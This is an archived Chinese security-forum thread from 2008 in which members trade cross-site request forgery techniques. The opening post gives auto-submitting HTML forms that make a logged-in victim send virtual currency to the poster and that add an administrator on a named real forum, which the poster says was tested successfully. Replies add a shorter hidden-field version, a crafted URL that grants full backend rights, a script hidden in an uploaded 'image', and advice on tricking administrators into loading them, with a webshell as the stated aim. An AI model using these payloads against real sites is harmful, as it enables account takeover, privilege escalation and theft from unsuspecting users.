[讨论]跨站的另类利用(页 1) - 技术交流 - 【3.A.S.T】网络安全爱好者 -- 网络安全，势在必行

冰绿茶 发表于 2008-7-24 17:23

[讨论]跨站的另类利用

[讨论]跨站的另类利用
议题提交：风蓝
信息来源：邪恶八进制信息安全团队（[url=http://www.eviloctal.com/]www.eviloctal.com[/url]）

以前从来没研究过什么跨站~甚至根本不清楚跨站攻击是什么~呵呵
今天看到一个跨站的动画~觉得很有趣~就是自己做一个别人站的添加管理员的页面,想办法让对方的管理员点击.
我就想这种方法估计很多程序都可以成功利用起来~关键就是要能想办法让对方执行你的页面地址~
这里我们不谈如何让别人点你的页面和如何添加用户了~
刚才在baidu上游戏交易,突然想到~
那些游戏交易站如果用跨站来实现赠送对方积分或游戏币或道具等等可不可行?
下面都是假想,没有经过实践过的~
首先我们分析一下,跨站就是自己够造一个页面,想办法让别人打开,获取他的cookies进行cookie欺骗或是直接利用他的cookie进行我们指定的操作.
打个比方:
某网站[url=http://www.163.com/]http://www.163.com[/url]是一个交易网站.
我自己的用户名:bwind  另外一个用户:flysky
该网站里有一种虚拟货币,类似QQB的那种.而这种货币是可以互相赠送给其他用户的.赠送的方法就是[url=http://www.163.com/visite.asp]http://www.163.com/visite.asp[/url]这个页面~
这个页面需要填写收货人的用户名,以及送出去货币的数字.我们把这些都记下来.查看该页面源文件,找到form表单提交地址,我们找到的是[url=http://www.163.com/visite.asp?action=to]http://www.163.com/visite.asp?action=to[/url]
现在我们就可以开始构造跨站脚本了.
在本机新建立一个a.htm的文件,内容如下:
--------------------------------
<form action="[url=http://www.163.com/visite.asp?action=to]http://www.163.com/visite.asp?action=to[/url]" method=post>
<table cellpadding="2" cellspacing="1" border="0" width="95%" class="tableBorder" align=center>
   <input type=text name="username2" size=30 value="bwind">收货人
   <input type="password" name="password2" size=33 value="500">赠送数量
   <input type="submit" name="Submit" value="赠送">
</table>
</form>

<script language="javascript">
this.document.forms[0].submit();
location.href('index.asp');
</script>

------------------------------

这段代码的意思就是直接post我们的内容到[url=http://www.163.com/visite.asp?action=to]http://www.163.com/visite.asp?action=to[/url]这个地址,如果别人正好登陆[url=http://www.163.com/]www.163.com[/url]并保存了cookie了的话,他只要一打开我们构造的这个页面~他就会直接送给我(bwind) 500个货币.

不知道这东西以前有没有人写过~第一次研究跨站~给我的感觉就是危害太大了~根本不需要程序有什么漏洞,而是只要你会欺骗别人进入到你的页面.呵呵.

我自己想到的这种防范方法就是在一些重要数据提交的地方加上验证码~这样的话在怎么跨也没用了:)

再发个洞网加管理员的页面~自己测试成功了的~
--------------------------
<form action="[url=http://bbs.sasf.cn/admin/admin.asp?action=savenew]http://bbs.sasf.cn/admin/admin.asp?action=savenew[/url]" method=post>
<table cellpadding="2" cellspacing="1" border="0" width="95%" class="tableBorder" align=center>
<tr>
   <th colspan=2    height=23>管理员管理－－添加管理员</th>
</tr>
<tr>
   <td    width="26%"    align="right" class=forumrow>后台登录名称：</td>
   <td    width="74%"    class=forumrow>
   <input type=text name="username2" size=30 value=testkz>  (可与注册名不同)
   </td>
</tr>
<tr>
   <td    width="26%"    align="right" class=forumrow >后台登录密码：</td>
   <td    width="74%"    class=forumrow>
   <input type="password" name="password2" size=33 value=testkz>    (可与注册密码不同)
   </td>
</tr>
<tr>
   <td    width="26%"    align="right" class=forumrow height=23 >前台用户名称：</td>
   <td    width="74%"    class=forumrow><input type=text    name="username1" size=30 value=无影>  (本选项填写后不允许修改)
   </td>
</tr>
<tr>
   <td    width="26%"    align="right" class=forumrow height=23>在前台显示为管理员：</td>
   <td    width="74%"    class=forumrow>是<input name="isdisp" type=radio value="1" checked> 否<input name="isdisp" type=radio value="0">  (如改为显示请到用户管理中编辑资料)
   </td>
</tr>
<tr align="center">
   <td    colspan="2"    class=forumrow>
   <input type="submit" name="Submit" value="添加">
   </td>
</tr>
</table>
</form>

<script language="javascript">
this.document.forms[0].submit();
location.href('index.asp');
</script>
--------------------------我的Blog:http://www.tantao.cn
帖子181 精华[url=http://forum.eviloctal.com/digest.php?authorid=3578]12[/url] 积分3615 阅读权限100 性别男在线时间327 小时注册时间2005-4-12 最后登录2007-11-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3578]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=鲜花预定&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]爱要怎么说出口[/url]

[url=http://forum.eviloctal.com/space-uid-3383.html]lucky_feng[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

阿豪发表于 2008-7-24 17:23

前段时间不是有个强行让别人送你Q币的文章吗，名字大概是这个，也是挂站的，原理和你的一样。
帖子69 精华[url=http://forum.eviloctal.com/digest.php?authorid=3383]0[/url] 积分238 阅读权限40 在线时间308 小时注册时间2005-4-7 最后登录2008-6-13 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3383]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=兼职&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]赚更多的钱[/url]

[url=http://forum.eviloctal.com/space-uid-18440.html]skylove[/url] [img]http://forum.eviloctal.com/images/avatars/pw/univer3.gif[/img]
晶莹剔透§烈日灼然

hua668 发表于 2008-7-24 17:23

跨站几年前都有人研究
有的bbs可以跨站得到webshell [s:51]http://www.xmasfox.com
帖子78 精华[url=http://forum.eviloctal.com/digest.php?authorid=18440]0[/url] 积分245 阅读权限40 在线时间197 小时注册时间2005-11-13 最后登录2007-12-3 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=18440]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=兼职&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]赚更多的钱[/url]

[url=http://forum.eviloctal.com/space-uid-17838.html]cfccn[/url] [img]http://forum.eviloctal.com/images/avatars/pw/eviloctal2.gif[/img]
晶莹剔透§烈日灼然

yq_ryan 发表于 2008-7-24 17:23

重要的是思路`
学习一下`
帖子52 精华[url=http://forum.eviloctal.com/digest.php?authorid=17838]0[/url] 积分190 阅读权限40 性别男在线时间57 小时注册时间2005-11-8 最后登录2008-5-26 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=17838]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-19028.html]hack_ben[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

wy4302 发表于 2008-7-24 17:23

恩上几次在X档案也是见过这么一篇文章，现在这样的跨站漏洞相关的资料实在太少了！我实验了好几次都不成功郁闷鸟~~~
帖子6 精华[url=http://forum.eviloctal.com/digest.php?authorid=19028]0[/url] 积分23 阅读权限40 在线时间9 小时注册时间2005-11-18 最后登录2006-4-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=19028]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日，预测咨询，公司改名，权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-8402.html]狼Ъèi[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

edchen 发表于 2008-7-24 17:23

奔奔兔 发表于 2008-7-24 17:23

加管理员的代码
<form action="[url=http://127.0.0.1/Admin/admin.asp?action=savenew]http://127.0.0.1/Admin/admin.asp?action=savenew[/url]" method=post name=h>
<input type=hidden name="username2" value=fhod>
<input type=hidden name="password2" value=123456>
<input type=hidden name="username1" value=fhod>
</form>
<script language=JavaScript>
document.h.submit();
</script>
这样就足够了..
这些在我那个动网刷分的漏洞里提起过
可以看一下
[url=http://www.eviloctal.com/forum/read.php?tid=17194&fpage=1]http://www.eviloctal.com/forum/read.php?tid=17194&fpage=1[/url]
而且我也有想过来做个表单.让管理员或版主去点..达到普通用户刷分的目的.
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子899 精华[url=http://forum.eviloctal.com/digest.php?authorid=947]16[/url] 积分6857 阅读权限150 性别男在线时间534 小时注册时间2004-12-6 最后登录2008-7-18 [url=http://www.ciker.org/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=947]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-8495.html]h4k_b4n[BCT][/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

牧狼发表于 2008-7-24 17:24

全部使用前提都是以对方管理员登陆到后台后放可成立
不过这样子的方法也很爽的喔,小小的CSS可以用来守株待兔
帖子141 精华[url=http://forum.eviloctal.com/digest.php?authorid=8495]12[/url] 积分3459 阅读权限100 在线时间96 小时注册时间2009-5-27 最后登录2007-3-19 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=8495]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-947.html]fhod[/url] [img]http://forum.eviloctal.com/customavatars/947.jpg[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

车虫发表于 2008-7-24 17:24

但是这样加的管理是没后台权限的.
我们进后台无非就是要备份数据库得webshell
我用上面代码..在管理员登陆后台时,运行那个页面.成功添加管理员..并用帐号登陆时.发现是无权限的
经过本地给此用户加权限.并抓包..的信息..构造
[url=http://127.0.0.1/Admin/admin.asp?action=updat&flag=31&flag=32&flag=33&flag=34&id=3&Submit=%B8%FC%D0%C2]http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2[/url]
这样的URL/..是给ID为3的管理员加上..数据处理的所有权限
提交后返回信息

成功信息
管理员更新成功，请记住更新信息。

而如果要把后台所有的权限都加上..就是

flag=1&flag=2&flag=3&flag=4&flag=5&flag=6&flag=7&flag=8&flag=9&flag=10&flag=11&flag=12&flag=13&flag=14&flag=15&flag=16&flag=17&flag=18&flag=19&flag=20&flag=21&flag=22&flag=23&flag=24&flag=25&flag=26&flag=27&flag=28&flag=29&flag=30&flag=31&flag=32&flag=33&flag=34&flag=35&flag=36&flag=37&id=3&Submit=%B8%FC%D0%C2&chkall=on
替换就可以了.
不用表单.直接提交就可以.但前提是管理员登陆了后台.
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子899 精华[url=http://forum.eviloctal.com/digest.php?authorid=947]16[/url] 积分6857 阅读权限150 性别男在线时间534 小时注册时间2004-12-6 最后登录2008-7-18 [url=http://www.ciker.org/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=947]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-8495.html]h4k_b4n[BCT][/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

拖车文 发表于 2008-7-24 17:24

引用:
下面是引用fhod于2006-01-03 13:11发表的:
但是这样加的管理是没后台权限的.
我们进后台无非就是要备份数据库得webshell
我用上面代码..在管理员登陆后台时,运行那个页面.成功添加管理员..并用帐号登陆时.发现是无权限的
经过本地给此用户加权限.并抓包..的信息..构造
[url=http://127.0.0.1/Admin/admin.asp?action=updat&flag=31&flag=32&flag=33&flag=34&id=3&Submit=%B8%FC%D0%C2]http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2[/url]
.......
跨站的语句太长了,应该不能够实现.而且没有这样子的跨站处可以用来跨站,建议把跨站的语句缩小几个部分进行提交.
帖子141 精华[url=http://forum.eviloctal.com/digest.php?authorid=8495]12[/url] 积分3459 阅读权限100 在线时间96 小时注册时间2009-5-27 最后登录2007-3-19 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=8495]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-8495.html]h4k_b4n[BCT][/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

东莞仔2 发表于 2008-7-24 17:24

引用:
下面是引用hack_ben于2006-01-02 08:13发表的:
恩上几次在X档案也是见过这么一篇文章，现在这样的跨站漏洞相关的资料实在太少了！我实验了好几次都不成功郁闷鸟~~~
此人名字与我相似,难道是失散多年的白痴兄弟?
帖子141 精华[url=http://forum.eviloctal.com/digest.php?authorid=8495]12[/url] 积分3459 阅读权限100 在线时间96 小时注册时间2009-5-27 最后登录2007-3-19 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=8495]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-947.html]fhod[/url] [img]http://forum.eviloctal.com/customavatars/947.jpg[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

阿豪发表于 2008-7-24 17:24

引用:
下面是引用h4k_b4n[BCT]于2006-01-03 13:33发表的:

跨站的语句太长了,应该不能够实现.而且没有这样子的跨站处可以用来跨站,建议把跨站的语句缩小几个部分进行提交.
这个语句不是跨站的.
我是说.在加过管理员之后.上面的代码是给予管理员权限的.
[url=http://127.0.0.1/Admin/admin.asp?action=updat&flag=31&flag=32&flag=33&flag=34&id=3&Submit=%B8%FC%D0%C2]http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2[/url]
可以欺骗管理员去点
或者是写入一个JPG图片里
然后把图片上传论坛..欺骗管理员..不是动网的那个.图片的.可以执行代码么
所以.应该是可以实现的.
我本地测试是成功了的.
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子899 精华[url=http://forum.eviloctal.com/digest.php?authorid=947]16[/url] 积分6857 阅读权限150 性别男在线时间534 小时注册时间2004-12-6 最后登录2008-7-18 [url=http://www.ciker.org/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=947]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-8495.html]h4k_b4n[BCT][/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

莲子发表于 2008-7-24 17:24

引用:
下面是引用fhod于2006-01-03 13:45发表的:

这个语句不是跨站的.
我是说.在加过管理员之后.上面的代码是给予管理员权限的.
[url=http://127.0.0.1/Admin/admin.asp?action=updat&flag=31&flag=32&flag=33&flag=34&id=3&Submit=%B8%FC%D0%C2]http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2[/url]
.......
欺骗管理员比起用来跨站还要困难了点!
帖子141 精华[url=http://forum.eviloctal.com/digest.php?authorid=8495]12[/url] 积分3459 阅读权限100 在线时间96 小时注册时间2009-5-27 最后登录2007-3-19 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=8495]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-10211.html]netsnow[/url] [img]http://forum.eviloctal.com/images/avatars/pw/eviloctal2.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

abcdefg9090 发表于 2008-7-24 17:24

真不知道说什么好点.我发现现在开始研究起跨站来了.我也说句:"Fhod.你的那个跨站语句太长了.不可能实现的!还有就是用跨站来欺骗管理员的现在也是很难实现!因为现在大多的站点的管理员对自己的站点安全性也是很注重的!如果他无意中打开了一个摸名的页面相信也会很小心的去检查一下!所以我们这样来欺骗很容易被发现的!http://www.xp21.cn 堕落的人们…… 真的为你们感到悲哀！你们心理难道只有冷冷的石头？
帖子226 精华[url=http://forum.eviloctal.com/digest.php?authorid=10211]0[/url] 积分791 阅读权限100 性别男在线时间115 小时注册时间2005-8-20 最后登录2007-6-30 [url=http://www.xp21.cn]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=10211]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-2576.html]玄猫[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

MuscleMax 发表于 2008-7-24 17:24

引用:
下面是引用netsnow于2006-01-03 14:42发表的:
真不知道说什么好点.我发现现在开始研究起跨站来了.我也说句:"Fhod.你的那个跨站语句太长了.不可能实现的!还有就是用跨站来欺骗管理员的现在也是很难实现!因为现在大多的站点的管理员对自己的站点安全性也是很注重的!如果他无意中打开了一个摸名的页面相信也会很小心的去检查一下!所以我们这样来欺骗很容易被发现的!
跨站语句太长?免费虚拟二级域名……或者自己构建一个页面document.location跳
无意打开页面?iframe or img那些好像永远都不会停的雪。那一季永远不结束的冬天。
帖子38 精华[url=http://forum.eviloctal.com/digest.php?authorid=2576]2[/url] 积分95 阅读权限100 性别男来自BugCenterTeam 在线时间33 小时注册时间2005-3-3 最后登录2008-1-18 [url=http://blog.blackwoods.cn]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=2576]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-947.html]fhod[/url] [img]http://forum.eviloctal.com/customavatars/947.jpg[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

木头发表于 2008-7-24 17:24

不知道是不是误解了我意思呢.
h4k_b4n[BCT]
和netsnow说的我跨站语句长是不是指
[url=http://127.0.0.1/Admin/admin.asp?action=updat&flag=31&flag=32&flag=33&flag=34&id=3&Submit=%B8%FC%D0%C2]http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2[/url]
这一句呢?
我个URL是我在给新加的管理员加权限时.抓包构造出来的URL
我们可以新建一个TXT文档写入以下代码..然后改后缀为jpg的.上传到论坛..但也就如netsnow所说.利用不大..我想还是可以更隐蔽的.
<script>window.open("[url=http://127.0.0.1/Admin/admin.asp?action=updat&flag=31&flag=32&flag=33&flag=34&id=3&Submit=%B8%FC%D0%C2]http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2[/url]");</script>
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子899 精华[url=http://forum.eviloctal.com/digest.php?authorid=947]16[/url] 积分6857 阅读权限150 性别男在线时间534 小时注册时间2004-12-6 最后登录2008-7-18 [url=http://www.ciker.org/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=947]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-8495.html]h4k_b4n[BCT][/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

alunn 发表于 2008-7-24 17:24

引用:
下面是引用fhod于2006-01-05 00:23发表的:
不知道是不是误解了我意思呢.
h4k_b4n[BCT]
和netsnow说的我跨站语句长是不是指
[url=http://127.0.0.1/Admin/admin.asp?action=updat&flag=31&flag=32&flag=33&flag=34&id=3&Submit=%B8%FC%D0%C2]http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2[/url]
这一句呢?
.......
基于DVBBS,并不是单凭上传TXT或者JPG就OK的!因为有些设置会限制,而且未必导致管理员会访问.
我没有误解你的意思.是你误解我的^_^
你这个方法虽然是好,但是不够直接.如果可以嵌入到签名档就命中率高很多.但是因为你的语句太长了,导致无法嵌入
帖子141 精华[url=http://forum.eviloctal.com/digest.php?authorid=8495]12[/url] 积分3459 阅读权限100 在线时间96 小时注册时间2009-5-27 最后登录2007-3-19 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=8495]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-1574.html]jony[/url] [img]http://forum.eviloctal.com/images/avatars/pw/xhacker4.gif[/img]

top6 发表于 2008-7-24 17:24

提示: 作者被禁止或删除内容自动屏蔽
帖子138 精华[url=http://forum.eviloctal.com/digest.php?authorid=1574]8[/url] 积分3675 阅读权限0 在线时间225 小时注册时间2005-1-18 最后登录2006-3-31 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=1574]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-1574.html]jony[/url] [img]http://forum.eviloctal.com/images/avatars/pw/xhacker4.gif[/img]

拖车文 发表于 2008-7-24 17:24

教授2 发表于 2008-7-24 17:24

提示: 作者被禁止或删除内容自动屏蔽
帖子138 精华[url=http://forum.eviloctal.com/digest.php?authorid=1574]8[/url] 积分3675 阅读权限0 在线时间225 小时注册时间2005-1-18 最后登录2006-3-31 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=1574]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-14649.html]easylun10[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

44447777kun 发表于 2008-7-24 17:24

这样的代码我教程发的不要了！呵呵 [s:42] 我想的更多~
[url=http://wpa.qq.com/msgrd?V=1&Uin=37481722&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子21 精华[url=http://forum.eviloctal.com/digest.php?authorid=14649]0[/url] 积分79 阅读权限40 性别男在线时间1 小时注册时间2005-10-10 最后登录2008-1-16 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=14649]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-39217.html]幽鬼狼魂[/url] [img]http://forum.eviloctal.com/images/avatars/pw/nature1.gif[/img]
晶莹剔透§烈日灼然

巫山北 发表于 2008-7-24 17:24

[s:75]
<form action="[url=http://www.163.com/visite.asp?action=to]http://www.163.com/visite.asp?action=to[/url]"><input name="username2" value="bwind">0<input name="password2" value="500">0<input type="submit" value="S"></table></form><script>this.document.forms[0].submit();location.href('index.asp');</script>
不知道这样的表单是不是更为简练呢？
帖子16 精华[url=http://forum.eviloctal.com/digest.php?authorid=39217]0[/url] 积分58 阅读权限40 性别男在线时间4 小时注册时间2006-3-16 最后登录2006-4-20 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=39217]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-109476.html]yb104[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

H先生 发表于 2008-7-24 17:24

学习[img]http://forum.eviloctal.com/images/smilies/yangcong/57.gif[/img][img]http://forum.eviloctal.com/images/smilies/yangcong/57.gif[/img][img]http://forum.eviloctal.com/images/smilies/yangcong/57.gif[/img]
帖子3 精华[url=http://forum.eviloctal.com/digest.php?authorid=109476]0[/url] 积分13 阅读权限40 在线时间0 小时注册时间2007-4-18 最后登录2008-1-22 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=109476]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-10926.html]zhangshiyi[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

孙林发表于 2008-7-24 17:24

跨站漏洞相关的资料实在太少了！我实验了好几次都不成功
帖子2 精华[url=http://forum.eviloctal.com/digest.php?authorid=10926]0[/url] 积分9 阅读权限40 在线时间0 小时注册时间2005-8-28 最后登录2007-12-29 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=10926]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-141734.html]゛小︷帅！﹊[/url] [img]http://forum.eviloctal.com/images/avatars/14.gif[/img]
晶莹剔透§烈日灼然

页: [1]

【3.A.S.T】网络安全爱好者's Archiver

[讨论]跨站的另类利用